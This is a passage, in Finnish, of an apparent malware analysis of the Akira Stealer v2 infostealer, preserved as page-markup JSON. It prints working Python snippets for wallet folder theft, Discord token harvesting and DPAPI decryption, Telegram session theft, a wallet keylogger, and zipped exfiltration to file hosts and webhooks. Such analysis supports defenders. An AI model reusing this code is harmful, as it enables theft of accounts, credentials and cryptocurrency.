\"rabby-desktop\")],\n    [\"Coinomi\",      os.path.join(os.getenv('APPDATA'), \"Coinomi\", \"wallets\")],\n]\nfor name, path in walletsDesktop:\n    if os.path.isdir(path):\n        Utils.TaskKill(name.lower())\n        dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", name)\n        shutil.copytree(path, dest, dirs_exist_ok=True)\n        data.desktop_wallets_count += 1\n",[551,8017,8018,8023,8028,8033,8038,8043,8048,8053,8057,8062,8067,8072,8077,8082],{"__ignoreMap":594},[1691,8019,8020],{"class":1693,"line":1694},[1691,8021,8022],{},"walletsDesktop = [\n",[1691,8024,8025],{"class":1693,"line":2070},[1691,8026,8027],{},"    [\"Electrum\",     os.path.join(os.getenv('APPDATA'), \"Electrum\", \"wallets\")],\n",[1691,8029,8030],{"class":1693,"line":2076},[1691,8031,8032],{},"    [\"Exodus\",       os.path.join(os.getenv('APPDATA'), \"Exodus\", \"exodus.wallet\")],\n",[1691,8034,8035],{"class":1693,"line":2082},[1691,8036,8037],{},"    [\"AtomicWallet\", os.path.join(os.getenv('LOCALAPPDATA'), \"atomic\", \"Local Storage\", \"leveldb\")],\n",[1691,8039,8040],{"class":1693,"line":2406},[1691,8041,8042],{},"    [\"Guarda\",       os.path.join(os.getenv('APPDATA'), \"Guarda\", \"Local Storage\", \"leveldb\")],\n",[1691,8044,8045],{"class":1693,"line":2412},[1691,8046,8047],{},"    [\"Rabby\",        os.path.join(os.getenv('APPDATA'), \"rabby-desktop\")],\n",[1691,8049,8050],{"class":1693,"line":3070},[1691,8051,8052],{},"    [\"Coinomi\",      os.path.join(os.getenv('APPDATA'), \"Coinomi\", \"wallets\")],\n",[1691,8054,8055],{"class":1693,"line":3866},[1691,8056,7937],{},[1691,8058,8059],{"class":1693,"line":3872},[1691,8060,8061],{},"for name, path in walletsDesktop:\n",[1691,8063,8064],{"class":1693,"line":4118},[1691,8065,8066],{},"    if os.path.isdir(path):\n",[1691,8068,8069],{"class":1693,"line":5037},[1691,8070,8071],{},"        Utils.TaskKill(name.lower())\n",[1691,8073,8074],{"class":1693,"line":5043},[1691,8075,8076],{},"        dest = os.path.join(Utils.get_temp_folder(), \"Wallets\", name)\n",[1691,8078,8079],{"class":1693,"line":5049},[1691,8080,8081],{},"        shutil.copytree(path, dest, dirs_exist_ok=True)\n",[1691,8083,8084],{"class":1693,"line":5055},[1691,8085,8086],{},"        data.desktop_wallets_count += 1\n",[604,8088,8089,8102],{},[607,8090,8091,8094,8095,620,8098,8101],{},[540,8092,8093],{},"Varastettu data",": Keystore-tiedostot (",[551,8096,8097],{},"*.dat",[551,8099,8100],{},"*.json","), yksityisten avainten viennit, lompakon konfiguraatio ja tapahtumahistoria.",[607,8103,8104,8107],{},[540,8105,8106],{},"Hyöty",": Offline-lompakon sisältö, jota hyökkääjä voi käyttää tapahtumien valtuuttamiseen.",[870,8109,8111],{"id":8110},"_783-discord-tokenien-haravointi","7.8.3 Discord-tokenien haravointi",[533,8113,876],{},[533,8115,8116],{},"Discord-tokenit ovat todennusartefakteja—käytännössä pitkäikäisiä bearer-tokeneja—jotka voivat antaa täyden pääsyn käyttäjän tiliin ilman hänen tunnistetietojaan tai MFA:ta. Akira käyttää tätä hyväkseen skannaamalla selain- ja sovellusdatakansioita eri Discord-asiakkaiden tallentamien tokenien varalta, mukaan lukien Discord Stable, Canary, PTB (Public Test Build) ja jopa muokatut forkit kuten Lightcord.",[533,8118,8119],{},"Tekniikka kohdistuu sovelluksen Local Storage -kansion alla oleviin LevelDB-tiedostoihin, joissa todennustokenit usein pysyvät selkokielisinä. Säännöllisiä lausekkeita käyttäen haittaohjelma skannaa nämä .log- ja .ldb-tiedostot kuvioiden varalta, jotka vastaavat joko tavallisia käyttäjätokeneja tai MFA-tokeneja.",[533,8121,8122],{},"Luotettavuuden parantamiseksi ja kohinan vähentämiseksi Akira sisältää validointivaiheen: se lähettää testipyynnön Discordin /users/@me-päätepisteeseen jokaisella haravoidulla tokenilla. Vain tokenit, jotka todentuvat onnistuneesti (HTTP 200), exfiltroidaan webhookin kautta—tyypillisesti hyökkääjän hallitsemaan Discord-kanavaan.",[533,8124,8125],{},"Tämä menetelmä antaa hyökkääjille mahdollisuuden kaapata Discord-tilejä reaaliajassa, esiintyä uhrina, kaapia yksityisviestejä ja palvelimia tai levittää lisähaittaohjelmia sosiaalisen manipuloinnin kautta—kaikki laukaisematta kirjautumishälytyksiä.",[588,8127,8129],{"className":4503,"code":8128,"language":4505,"meta":594,"style":594},"import re, requests\npatterns = [\n    r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27,100}\",  # User tokens\n    r\"mfa\\.[\\w-]{84,100}\"                      # MFA tokens\n]\ndef harvest_discord(base, webhook_url):\n    db_dir = os.path.join(base, \"Local Storage\", \"leveldb\")\n    for file in os.listdir(db_dir):\n        if file.endswith(('.log', '.ldb')):\n            for line in open(os.path.join(db_dir, file), errors='ignore'):\n                for pat in patterns:\n                    for token in re.findall(pat, line):\n                        # Verify token\n                        h = {\"Authorization\": token}\n                        r = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=h)\n                        if r.status_code == 200:\n                            uname = r.json()[\"username\"] + \"#\" + r.json()[\"discriminator\"]\n                            payload = {\"content\": f\"**Discord** {uname}: `{token}`\"}\n                            requests.post(webhook_url, json=payload)\n",[551,8130,8131,8136,8141,8146,8151,8155,8160,8165,8170,8175,8180,8185,8190,8195,8200,8205,8210,8215,8220],{"__ignoreMap":594},[1691,8132,8133],{"class":1693,"line":1694},[1691,8134,8135],{},"import re, requests\n",[1691,8137,8138],{"class":1693,"line":2070},[1691,8139,8140],{},"patterns = [\n",[1691,8142,8143],{"class":1693,"line":2076},[1691,8144,8145],{},"    r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27,100}\",  # User tokens\n",[1691,8147,8148],{"class":1693,"line":2082},[1691,8149,8150],{},"    r\"mfa\\.[\\w-]{84,100}\"                      # MFA tokens\n",[1691,8152,8153],{"class":1693,"line":2406},[1691,8154,7937],{},[1691,8156,8157],{"class":1693,"line":2412},[1691,8158,8159],{},"def harvest_discord(base, webhook_url):\n",[1691,8161,8162],{"class":1693,"line":3070},[1691,8163,8164],{},"    db_dir = os.path.join(base, \"Local Storage\", \"leveldb\")\n",[1691,8166,8167],{"class":1693,"line":3866},[1691,8168,8169],{},"    for file in os.listdir(db_dir):\n",[1691,8171,8172],{"class":1693,"line":3872},[1691,8173,8174],{},"        if file.endswith(('.log', '.ldb')):\n",[1691,8176,8177],{"class":1693,"line":4118},[1691,8178,8179],{},"            for line in open(os.path.join(db_dir, file), errors='ignore'):\n",[1691,8181,8182],{"class":1693,"line":5037},[1691,8183,8184],{},"                for pat in patterns:\n",[1691,8186,8187],{"class":1693,"line":5043},[1691,8188,8189],{},"                    for token in re.findall(pat, line):\n",[1691,8191,8192],{"class":1693,"line":5049},[1691,8193,8194],{},"                        # Verify token\n",[1691,8196,8197],{"class":1693,"line":5055},[1691,8198,8199],{},"                        h = {\"Authorization\": token}\n",[1691,8201,8202],{"class":1693,"line":5061},[1691,8203,8204],{},"                        r = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=h)\n",[1691,8206,8207],{"class":1693,"line":5067},[1691,8208,8209],{},"                        if r.status_code == 200:\n",[1691,8211,8212],{"class":1693,"line":5073},[1691,8213,8214],{},"                            uname = r.json()[\"username\"] + \"#\" + r.json()[\"discriminator\"]\n",[1691,8216,8217],{"class":1693,"line":5079},[1691,8218,8219],{},"                            payload = {\"content\": f\"**Discord** {uname}: `{token}`\"}\n",[1691,8221,8222],{"class":1693,"line":5085},[1691,8223,8224],{},"                            requests.post(webhook_url, json=payload)\n",[604,8226,8227],{},[607,8228,8229,8232],{},[540,8230,8231],{},"Validointi",": Julkaisee vain kelvolliset tokenit, mikä estää vanhentuneiden JWT:iden lähettämisen.",[870,8234,8236],{"id":8235},"_784-telegram-istuntotiedostot","7.8.4 Telegram-istuntotiedostot",[533,8238,876],{},[533,8240,8241,8243],{},[540,8242,7861],{}," Telegram Desktop/TData",[588,8245,8247],{"className":4503,"code":8246,"language":4505,"meta":594,"style":594},"def steal_telegram(tdata_path, dest_root):\n    if os.path.exists(tdata_path):\n        Utils.TaskKill(\"telegram.exe\")\n        dest = os.path.join(dest_root, \"Wallets\", \"Telegram\")\n        shutil.copytree(tdata_path, dest, dirs_exist_ok=True)\n        data.has_telegram = True\n",[551,8248,8249,8254,8259,8264,8269,8274],{"__ignoreMap":594},[1691,8250,8251],{"class":1693,"line":1694},[1691,8252,8253],{},"def steal_telegram(tdata_path, dest_root):\n",[1691,8255,8256],{"class":1693,"line":2070},[1691,8257,8258],{},"    if os.path.exists(tdata_path):\n",[1691,8260,8261],{"class":1693,"line":2076},[1691,8262,8263],{},"        Utils.TaskKill(\"telegram.exe\")\n",[1691,8265,8266],{"class":1693,"line":2082},[1691,8267,8268],{},"        dest = os.path.join(dest_root, \"Wallets\", \"Telegram\")\n",[1691,8270,8271],{"class":1693,"line":2406},[1691,8272,8273],{},"        shutil.copytree(tdata_path, dest, dirs_exist_ok=True)\n",[1691,8275,8276],{"class":1693,"line":2412},[1691,8277,8278],{},"        data.has_telegram = True\n",[604,8280,8281,8294],{},[607,8282,8283,981,8286,8289,8290,8293],{},[540,8284,8285],{},"Tiedostot",[551,8287,8288],{},"tdata","-kansio, joka sisältää istuntoavaimet, ",[551,8291,8292],{},"D877F...","-kansio secret/unsecret-tiedostoineen.",[607,8295,8296,8299],{},[540,8297,8298],{},"Käyttö",": Lataa hyökkääjän Telegram-asiakkaaseen täyttä tilin käyttöä varten.",[870,8301,8303],{"id":8302},"_785-live-lompakkokeyloggaus","7.8.5 Live-lompakkokeyloggaus",[533,8305,876],{},[533,8307,8308],{},"Kryptovaluuttalompakot ovat ensisijaisia kohteita nykyaikaisille infostealereille. Akira sisältää live-keyloggerin, joka on räätälöity varastamaan lompakon tunnistetiedot, kuten seed-lauseet, yksityiset avaimet ja salasanat, syöttöhetkellä. Toisin kuin geneeriset keyloggerit, tämä aktivoituu vain, kun tunnettu lompakkoikkuna havaitaan, mikä vähentää dramaattisesti kohinaa ja lisää tehokkuutta.",[533,8310,8311],{},"Moduuli valvoo aktiivisten ikkunoiden otsikoita ja vertaa niitä kovakoodattuun listaan suosituista lompakkosovelluksista kuten MetaMask, Phantom, Atomic Wallet ja muut. Kun vastaava ikkuna on aktiivisena, se alkaa tallentaa näppäinpainalluksia järjestelmänlaajuisten näppäimistökoukkujen kautta. Kun käyttäjä painaa Enteriä, moduuli kaappaa välittömästi leikepöydän nykyisen sisällön—tietäen, että käyttäjät usein kopioivat salaisuuksia lompakon pystytyksen tai kirjautumisen aikana—ja lähettää sekä kirjoitetun syötteen että leikepöydän datan hyökkääjän webhookiin. Tämä lähestymistapa on erittäin tehokas, koska se yhdistää kaksi hyökkäysvektoria:",[604,8313,8314,8317],{},[607,8315,8316],{},"Kontekstitietoinen keyloggaus, joka kaappaa arkaluonteiset lompakkosyötteet vain silloin kun ne ovat merkityksellisiä.",[607,8318,8319],{},"Leikepöydän kaappaus, joka poimii kopioidut palautuslauseet tai kohdeosoitteet ennen kuin ne liitetään.",[533,8321,8322],{},"Yhdessä nämä menetelmät antavat hyökkääjille mahdollisuuden vaarantaa lompakot hiljaa reaaliajassa, myös ilman selainkäyttöä tai tiedostojen exfiltraatiota.",[588,8324,8326],{"className":4503,"code":8325,"language":4505,"meta":594,"style":594},"import keyboard, pyperclip\n\nclass WalletKeylogger:\n    def __init__(self, wallet_titles):\n        self.buf = \"\"\n        keyboard.on_release(self.capture)\n        self.wallet_titles = wallet_titles\n\n    def capture(self, event):\n        title = pygetwindow.getActiveWindow().title\n        if any(w in title for w in self.wallet_titles):\n            if event.name == 'enter':\n                data = f\"Keys:{self.buf}\\nClip:{pyperclip.paste()}\"\n                send_to_webhook(data)\n                self.buf = \"\"\n            else:\n                self.buf += event.name\n",[551,8327,8328,8333,8337,8342,8347,8352,8357,8362,8366,8371,8376,8381,8386,8391,8396,8401,8406],{"__ignoreMap":594},[1691,8329,8330],{"class":1693,"line":1694},[1691,8331,8332],{},"import keyboard, pyperclip\n",[1691,8334,8335],{"class":1693,"line":2070},[1691,8336,3863],{"emptyLinePlaceholder":325},[1691,8338,8339],{"class":1693,"line":2076},[1691,8340,8341],{},"class WalletKeylogger:\n",[1691,8343,8344],{"class":1693,"line":2082},[1691,8345,8346],{},"    def __init__(self, wallet_titles):\n",[1691,8348,8349],{"class":1693,"line":2406},[1691,8350,8351],{},"        self.buf = \"\"\n",[1691,8353,8354],{"class":1693,"line":2412},[1691,8355,8356],{},"        keyboard.on_release(self.capture)\n",[1691,8358,8359],{"class":1693,"line":3070},[1691,8360,8361],{},"        self.wallet_titles = wallet_titles\n",[1691,8363,8364],{"class":1693,"line":3866},[1691,8365,3863],{"emptyLinePlaceholder":325},[1691,8367,8368],{"class":1693,"line":3872},[1691,8369,8370],{},"    def capture(self, event):\n",[1691,8372,8373],{"class":1693,"line":4118},[1691,8374,8375],{},"        title = pygetwindow.getActiveWindow().title\n",[1691,8377,8378],{"class":1693,"line":5037},[1691,8379,8380],{},"        if any(w in title for w in self.wallet_titles):\n",[1691,8382,8383],{"class":1693,"line":5043},[1691,8384,8385],{},"            if event.name == 'enter':\n",[1691,8387,8388],{"class":1693,"line":5049},[1691,8389,8390],{},"                data = f\"Keys:{self.buf}\\nClip:{pyperclip.paste()}\"\n",[1691,8392,8393],{"class":1693,"line":5055},[1691,8394,8395],{},"                send_to_webhook(data)\n",[1691,8397,8398],{"class":1693,"line":5061},[1691,8399,8400],{},"                self.buf = \"\"\n",[1691,8402,8403],{"class":1693,"line":5067},[1691,8404,8405],{},"            else:\n",[1691,8407,8408],{"class":1693,"line":5073},[1691,8409,8410],{},"                self.buf += event.name\n",[604,8412,8413,8419],{},[607,8414,8415,8418],{},[540,8416,8417],{},"Laukaisulista",": Ikkunaotsikot, mukaan lukien \"MetaMask\", \"Phantom\", \"Atomic Wallet\" jne.",[607,8420,8421,8424],{},[540,8422,8423],{},"Leikepöytä",": Kaappaa kopioidut seedit tai yksityiset avaimet.",[870,8426,8428],{"id":8427},"_786-paketointi-ja-exfiltraatio","7.8.6 Paketointi ja exfiltraatio",[533,8430,876],{},[533,8432,8433],{},"Kerättyään selaindatan, tunnistetiedot, lompakkotiedot ja tokenit Akira kokoaa ja exfiltroi saaliin erittäin automatisoidusti ja huomaamattomasti. Tämä vaihe on tartuntaketjun viimeinen askel, ja se on optimoitu luotettavuuden ja minimaalisen forensisen jalanjäljen kannalta. Ensin kaikki kerätty data—mukaan lukien selaindumpit, lokit ja keylogatut lompakkotiedot—pakataan ZIP-arkistoon. Tämä varmistaa, että koko aineisto voidaan siirtää yhtenä payloadina. Arkisto ladataan sitten useisiin julkisiin tiedostonjakopalveluihin, kuten GoFile, File.io tai Oshi.at, saatavuuden mukaan. Nämä alustat tarjoavat anonyymiä, väliaikaista hostingia, ja niitä käytetään usein yritysten palomuurien tai maineeseen perustuvan eston ohittamiseen. Jäsennelty raportti generoidaan samanaikaisesti ja lähetetään hyökkääjälle Discord- tai Telegram-webhookin kautta. Se sisältää yhteenvetotilastot—kuinka monta lompakkoa löytyi, kuinka monta tokenia oli kelvollisia, ja suoran linkin varastettuun dataan. Tämä antaa hyökkääjille nopean yleiskuvan kohteen arvosta arkistoa avaamatta.",[533,8435,8436],{},"Lopuksi haittaohjelma poistaa väliaikaisen kansion ja arkiston levyltä, mikä käytännössä poistaa paikalliset forensiset todisteet. Siihen mennessä kun puolustaja löytää tartunnan, data on jo poissa—ja usein palautumattomissa.",[588,8438,8440],{"className":4503,"code":8439,"language":4505,"meta":594,"style":594},"# 1) ZIP everything (including Wallets folder)\nzip_path = shutil.make_archive(Utils.get_temp_folder(), 'zip', Utils.get_temp_folder())\n# 2) Attempt upload to primary & fallback services\nurl = Webhook.uploadToGofile(zip_path) or Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\n# 3) Report summary\nembed = {\n    \"title\": \"💰 Wallet & Token Exfiltration Report\",\n    \"fields\": [\n        {\"name\": \"Extension Wallets\", \"value\": data.ext_wallets_count},\n        {\"name\": \"Desktop Wallets\",   \"value\": data.desktop_wallets_count},\n        {\"name\": \"Discord Tokens\",    \"value\": len(valid_tokens)},\n        {\"name\": \"Telegram Sessions\", \"value\": data.has_telegram},\n        {\"name\": \"Archive Link\",      \"value\": url or \"[upload failed]\"},\n    ]\n}\nWebhook.sendDataTG(Utils.get_temp_folder(), chatId, startup)\n# 4) Cleanup local folder & ZIP\nUtils.clear_client_folder()\n",[551,8441,8442,8447,8452,8457,8462,8467,8472,8477,8482,8487,8492,8497,8502,8507,8512,8516,8521,8526],{"__ignoreMap":594},[1691,8443,8444],{"class":1693,"line":1694},[1691,8445,8446],{},"# 1) ZIP everything (including Wallets folder)\n",[1691,8448,8449],{"class":1693,"line":2070},[1691,8450,8451],{},"zip_path = shutil.make_archive(Utils.get_temp_folder(), 'zip', Utils.get_temp_folder())\n",[1691,8453,8454],{"class":1693,"line":2076},[1691,8455,8456],{},"# 2) Attempt upload to primary & fallback services\n",[1691,8458,8459],{"class":1693,"line":2082},[1691,8460,8461],{},"url = Webhook.uploadToGofile(zip_path) or Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\n",[1691,8463,8464],{"class":1693,"line":2406},[1691,8465,8466],{},"# 3) Report summary\n",[1691,8468,8469],{"class":1693,"line":2412},[1691,8470,8471],{},"embed = {\n",[1691,8473,8474],{"class":1693,"line":3070},[1691,8475,8476],{},"    \"title\": \"💰 Wallet & Token Exfiltration Report\",\n",[1691,8478,8479],{"class":1693,"line":3866},[1691,8480,8481],{},"    \"fields\": [\n",[1691,8483,8484],{"class":1693,"line":3872},[1691,8485,8486],{},"        {\"name\": \"Extension Wallets\", \"value\": data.ext_wallets_count},\n",[1691,8488,8489],{"class":1693,"line":4118},[1691,8490,8491],{},"        {\"name\": \"Desktop Wallets\",   \"value\": data.desktop_wallets_count},\n",[1691,8493,8494],{"class":1693,"line":5037},[1691,8495,8496],{},"        {\"name\": \"Discord Tokens\",    \"value\": len(valid_tokens)},\n",[1691,8498,8499],{"class":1693,"line":5043},[1691,8500,8501],{},"        {\"name\": \"Telegram Sessions\", \"value\": data.has_telegram},\n",[1691,8503,8504],{"class":1693,"line":5049},[1691,8505,8506],{},"        {\"name\": \"Archive Link\",      \"value\": url or \"[upload failed]\"},\n",[1691,8508,8509],{"class":1693,"line":5055},[1691,8510,8511],{},"    ]\n",[1691,8513,8514],{"class":1693,"line":5061},[1691,8515,2415],{},[1691,8517,8518],{"class":1693,"line":5067},[1691,8519,8520],{},"Webhook.sendDataTG(Utils.get_temp_folder(), chatId, startup)\n",[1691,8522,8523],{"class":1693,"line":5073},[1691,8524,8525],{},"# 4) Cleanup local folder & ZIP\n",[1691,8527,8528],{"class":1693,"line":5079},[1691,8529,7712],{},[721,8531,8533,8534,1122],{"id":8532},"_79-discord-ja-telegram-tokenvarkaus-luokka-discord","7.9. Discord- ja Telegram-tokenvarkaus (luokka: ",[551,8535,8536],{},"Discord",[533,8538,727],{},[533,8540,8541,8542,8544],{},"Akira Stealer v2:n ",[540,8543,8536],{},"-luokka suorittaa erittäin rinnakkaistetun, monivaiheisen prosessin, joka haravoi sekä Discord-valtuutustokenit että Telegram-istuntodatan. Alla pilkomme jokaisen komponentin osiin täsmällisin koodiviittauksin ja havainnollistavin esimerkein.",[870,8546,8548],{"id":8547},"_791-alustus-ja-polkujen-luettelointi","7.9.1 Alustus ja polkujen luettelointi",[533,8550,876],{},[533,8552,8553],{},"Instantioitaessa konstruktori rakentaa kaksi kohdepolkujen joukkoa:",[588,8555,8557],{"className":4503,"code":8556,"language":4505,"meta":594,"style":594},"# Discord client LevelDB directories\ndiscord_paths = [\n    [f\"{self.ROAMING}/Discord\", \"/Local Storage/leveldb\"],\n    [f\"{self.ROAMING}/Lightcord\", \"/Local Storage/leveldb\"],\n    ...\n]\n\n# Chromium-based browser LevelDB directories\nbrowserPaths = [\n    [f\"{self.ROAMING}/Opera Software/Opera GX Stable\", \"opera.exe\", \"/Local Storage/leveldb\", ...],\n    [f\"{self.LOCAL}/Google/Chrome/User Data\", \"chrome.exe\", \"/Default/Local Storage/leveldb\", ...],\n    ...\n]\n",[551,8558,8559,8564,8569,8574,8579,8583,8587,8591,8596,8601,8606,8611,8615],{"__ignoreMap":594},[1691,8560,8561],{"class":1693,"line":1694},[1691,8562,8563],{},"# Discord client LevelDB directories\n",[1691,8565,8566],{"class":1693,"line":2070},[1691,8567,8568],{},"discord_paths = [\n",[1691,8570,8571],{"class":1693,"line":2076},[1691,8572,8573],{},"    [f\"{self.ROAMING}/Discord\", \"/Local Storage/leveldb\"],\n",[1691,8575,8576],{"class":1693,"line":2082},[1691,8577,8578],{},"    [f\"{self.ROAMING}/Lightcord\", \"/Local Storage/leveldb\"],\n",[1691,8580,8581],{"class":1693,"line":2406},[1691,8582,3853],{},[1691,8584,8585],{"class":1693,"line":2412},[1691,8586,7937],{},[1691,8588,8589],{"class":1693,"line":3070},[1691,8590,3863],{"emptyLinePlaceholder":325},[1691,8592,8593],{"class":1693,"line":3866},[1691,8594,8595],{},"# Chromium-based browser LevelDB directories\n",[1691,8597,8598],{"class":1693,"line":3872},[1691,8599,8600],{},"browserPaths = [\n",[1691,8602,8603],{"class":1693,"line":4118},[1691,8604,8605],{},"    [f\"{self.ROAMING}/Opera Software/Opera GX Stable\", \"opera.exe\", \"/Local Storage/leveldb\", ...],\n",[1691,8607,8608],{"class":1693,"line":5037},[1691,8609,8610],{},"    [f\"{self.LOCAL}/Google/Chrome/User Data\", \"chrome.exe\", \"/Default/Local Storage/leveldb\", ...],\n",[1691,8612,8613],{"class":1693,"line":5043},[1691,8614,3853],{},[1691,8616,8617],{"class":1693,"line":5049},[1691,8618,7937],{},[604,8620,8621,8631],{},[607,8622,8623,8626,8627,8630],{},[540,8624,8625],{},"Discord-polut"," kohdistuvat virallisiin ja epävirallisiin Discord-asiakkaisiin ",[551,8628,8629],{},"%APPDATA%",":n alla.",[607,8632,8633,8636],{},[540,8634,8635],{},"Selainpolut"," kattavat suosittujen selaimien käyttäjädatakansiot, mukaan lukien local storagen ja laajennusten alikansiot.",[533,8638,8639],{},"Jokaiselle merkinnälle käynnistetään säikeet:",[588,8641,8643],{"className":4503,"code":8642,"language":4505,"meta":594,"style":594},"for patt in browserPaths:\n    t = Thread(target=self.get_btoken, args=[patt[0], patt[2]])\n    t.start()\nfor patt in discord_paths:\n    t = Thread(target=self.get_discord, args=[patt[0], patt[1]])\n    t.start()\n",[551,8644,8645,8650,8655,8660,8665,8670],{"__ignoreMap":594},[1691,8646,8647],{"class":1693,"line":1694},[1691,8648,8649],{},"for patt in browserPaths:\n",[1691,8651,8652],{"class":1693,"line":2070},[1691,8653,8654],{},"    t = Thread(target=self.get_btoken, args=[patt[0], patt[2]])\n",[1691,8656,8657],{"class":1693,"line":2076},[1691,8658,8659],{},"    t.start()\n",[1691,8661,8662],{"class":1693,"line":2082},[1691,8663,8664],{},"for patt in discord_paths:\n",[1691,8666,8667],{"class":1693,"line":2406},[1691,8668,8669],{},"    t = Thread(target=self.get_discord, args=[patt[0], patt[1]])\n",[1691,8671,8672],{"class":1693,"line":2412},[1691,8673,8659],{},[533,8675,8676],{},"Tämä säikeistysmalli maksimoi I/O-läpisyötön luotaamalla kymmeniä hakemistoja samanaikaisesti.",[870,8678,8680],{"id":8679},"_792-tokenien-poimintalogiikka","7.9.2 Tokenien poimintalogiikka",[533,8682,876],{},[533,8684,8685],{},[540,8686,8687],{},"Selkokielisten tokenien kaapiminen selaimista",[533,8689,8690,8693,8694,7626,8697,8700],{},[551,8691,8692],{},"get_btoken(path, arg)"," siirtyy jokaiseen LevelDB-kansioon ja tarkastaa ",[551,8695,8696],{},".log",[551,8698,8699],{},".ldb","-tiedostot:",[588,8702,8704],{"className":4503,"code":8703,"language":4505,"meta":594,"style":594},"for file in os.listdir(path + arg):\n    if file.endswith((\".log\", \".ldb\")):\n        for line in open(f\"{path}{arg}/{file}\", errors=\"ignore\"):\n            for regex in (r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}\", r\"mfa\\.[\\w-]{80,95}\"):\n                tokens = re.findall(regex, line)\n                for token in tokens:\n                    self.tokens.append(token)\n                    self.cehckToken(token)\n",[551,8705,8706,8711,8716,8721,8726,8731,8736,8741],{"__ignoreMap":594},[1691,8707,8708],{"class":1693,"line":1694},[1691,8709,8710],{},"for file in os.listdir(path + arg):\n",[1691,8712,8713],{"class":1693,"line":2070},[1691,8714,8715],{},"    if file.endswith((\".log\", \".ldb\")):\n",[1691,8717,8718],{"class":1693,"line":2076},[1691,8719,8720],{},"        for line in open(f\"{path}{arg}/{file}\", errors=\"ignore\"):\n",[1691,8722,8723],{"class":1693,"line":2082},[1691,8724,8725],{},"            for regex in (r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}\", r\"mfa\\.[\\w-]{80,95}\"):\n",[1691,8727,8728],{"class":1693,"line":2406},[1691,8729,8730],{},"                tokens = re.findall(regex, line)\n",[1691,8732,8733],{"class":1693,"line":2412},[1691,8734,8735],{},"                for token in tokens:\n",[1691,8737,8738],{"class":1693,"line":3070},[1691,8739,8740],{},"                    self.tokens.append(token)\n",[1691,8742,8743],{"class":1693,"line":3866},[1691,8744,8745],{},"                    self.cehckToken(token)\n",[604,8747,8748,8757,8765],{},[607,8749,8750,8756],{},[540,8751,8752,8753],{},"Regex ",[551,8754,8755],{},"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}"," vastaa tavallisia Discord-tokeneja.",[607,8758,8759,8764],{},[540,8760,8752,8761],{},[551,8762,8763],{},"mfa\\.[\\w-]{80,95}"," kaappaa MFA-tokenit.",[607,8766,8767,8768,8771],{},"Kaksoiskappaleiden poisto on implisiittistä: tokenit tallennetaan ",[551,8769,8770],{},"self.tokens","-muuttujaan ennen validointia.",[533,8773,8774],{},[540,8775,8776],{},"Salattujen tokenien purku Discord-asiakkaassa",[533,8778,8779,8780,8782,8783,8785,8786,8789],{},"Discordin asiakas salaa Local Storage -merkinnät DPAPI:lla, etuliitteinä ",[551,8781,6512],{}," tai ",[551,8784,6516],{},". ",[551,8787,8788],{},"get_discord(path, arg)"," käsittelee tämän:",[588,8791,8793],{"className":4503,"code":8792,"language":4505,"meta":594,"style":594},"# Read Local State to obtain encrypted master key\nwith open(path + \"/Local State\", 'r') as f:\n    local_state = json.load(f)\nencrypted_key = b64decode(local_state['os_crypt']['encrypted_key'])[5:]\nmaster_key = self.CryptUnprotectData(encrypted_key)\n\n# Iterate LevelDB files for Base64 payloads\nfor file in os.listdir(path + arg):\n    if file.endswith((\".log\", \".ldb\")):\n        for line in open(f\"{path}{arg}/{file}\"):\n            for token_part in re.findall(r\"dQw4w9WgXcQ:([A-Za-z0-9+/=]+)\", line):\n                ciphertext = b64decode(token_part)\n                token = self.decrypt_value(ciphertext, master_key)\n                self.tokens.append(token)\n                self.cehckToken(token)\n",[551,8794,8795,8800,8805,8809,8814,8819,8823,8828,8832,8836,8841,8846,8851,8856,8861],{"__ignoreMap":594},[1691,8796,8797],{"class":1693,"line":1694},[1691,8798,8799],{},"# Read Local State to obtain encrypted master key\n",[1691,8801,8802],{"class":1693,"line":2070},[1691,8803,8804],{},"with open(path + \"/Local State\", 'r') as f:\n",[1691,8806,8807],{"class":1693,"line":2076},[1691,8808,7111],{},[1691,8810,8811],{"class":1693,"line":2082},[1691,8812,8813],{},"encrypted_key = b64decode(local_state['os_crypt']['encrypted_key'])[5:]\n",[1691,8815,8816],{"class":1693,"line":2406},[1691,8817,8818],{},"master_key = self.CryptUnprotectData(encrypted_key)\n",[1691,8820,8821],{"class":1693,"line":2412},[1691,8822,3863],{"emptyLinePlaceholder":325},[1691,8824,8825],{"class":1693,"line":3070},[1691,8826,8827],{},"# Iterate LevelDB files for Base64 payloads\n",[1691,8829,8830],{"class":1693,"line":3866},[1691,8831,8710],{},[1691,8833,8834],{"class":1693,"line":3872},[1691,8835,8715],{},[1691,8837,8838],{"class":1693,"line":4118},[1691,8839,8840],{},"        for line in open(f\"{path}{arg}/{file}\"):\n",[1691,8842,8843],{"class":1693,"line":5037},[1691,8844,8845],{},"            for token_part in re.findall(r\"dQw4w9WgXcQ:([A-Za-z0-9+/=]+)\", line):\n",[1691,8847,8848],{"class":1693,"line":5043},[1691,8849,8850],{},"                ciphertext = b64decode(token_part)\n",[1691,8852,8853],{"class":1693,"line":5049},[1691,8854,8855],{},"                token = self.decrypt_value(ciphertext, master_key)\n",[1691,8857,8858],{"class":1693,"line":5055},[1691,8859,8860],{},"                self.tokens.append(token)\n",[1691,8862,8863],{"class":1693,"line":5061},[1691,8864,8865],{},"                self.cehckToken(token)\n",[604,8867,8868,8877],{},[607,8869,8870,8873,8874,8876],{},[540,8871,8872],{},"Pääavaimen palautus",": Poistaa 5-tavuisen DPAPI-otsikon ja kutsuu sitten ",[551,8875,7177],{},"-funktiota (joka kapseloi Windowsin DPAPI:n) purkaakseen AES-GCM-avaimen.",[607,8878,8879,8882,8883,8886,8887,8890,8891],{},[540,8880,8881],{},"Payloadin jäsentäminen",": Tokeneilla on etuliite ",[551,8884,8885],{},"dQw4w9WgXcQ:"," (hyökkääjän valitsema merkintä). Base64-dekoodauksen jälkeen ",[551,8888,8889],{},"decrypt_value()"," erottaa IV:n ja salakirjoituksen:",[588,8892,8894],{"className":4503,"code":8893,"language":4505,"meta":594,"style":594},"def decrypt\\_value(buff, master\\_key):\niv = buff\\[3:15]\npayload = buff\\[15:]\ncipher = 